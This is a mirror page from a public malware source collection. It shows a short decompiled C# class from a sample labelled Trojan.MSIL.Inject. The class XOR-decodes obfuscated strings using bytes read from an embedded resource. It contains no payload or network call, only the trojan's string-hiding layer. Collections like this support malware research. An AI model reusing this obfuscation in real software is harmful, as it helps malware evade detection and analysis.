mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
47 lines
1.5 KiB
C#
47 lines
1.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type:
|
|
// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe
|
|
|
|
using System.IO;
|
|
using System.Reflection;
|
|
|
|
internal sealed class \uE009
|
|
{
|
|
public static string \uE000(string _param0, int _param1) => string.Intern(\uE009.\uE000.\uE000.\uE000(_param0, _param1));
|
|
|
|
public static string \uE000 => "84785c03fc20bf7c";
|
|
|
|
private sealed class \uE000
|
|
{
|
|
public static readonly \uE009.\uE000 \uE000;
|
|
private byte[] \uE001;
|
|
|
|
static \uE000()
|
|
{
|
|
\uE008.\uE000();
|
|
\uE009.\uE000.\uE000 = new \uE009.\uE000();
|
|
}
|
|
|
|
private \uE000()
|
|
{
|
|
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000);
|
|
if (manifestResourceStream == null)
|
|
return;
|
|
this.\uE001 = new byte[256];
|
|
manifestResourceStream.Read(this.\uE001, 0, this.\uE001.Length);
|
|
}
|
|
|
|
public string \uE000(string _param1, int _param2)
|
|
{
|
|
int length = _param1.Length;
|
|
int index = _param2 & (int) byte.MaxValue;
|
|
char[] charArray = _param1.ToCharArray();
|
|
while (--length >= 0)
|
|
charArray[length] = (char) ((uint) charArray[length] ^ ((uint) this.\uE001[index] | (uint) _param2));
|
|
return string.Intern(new string(charArray));
|
|
}
|
|
}
|
|
}
|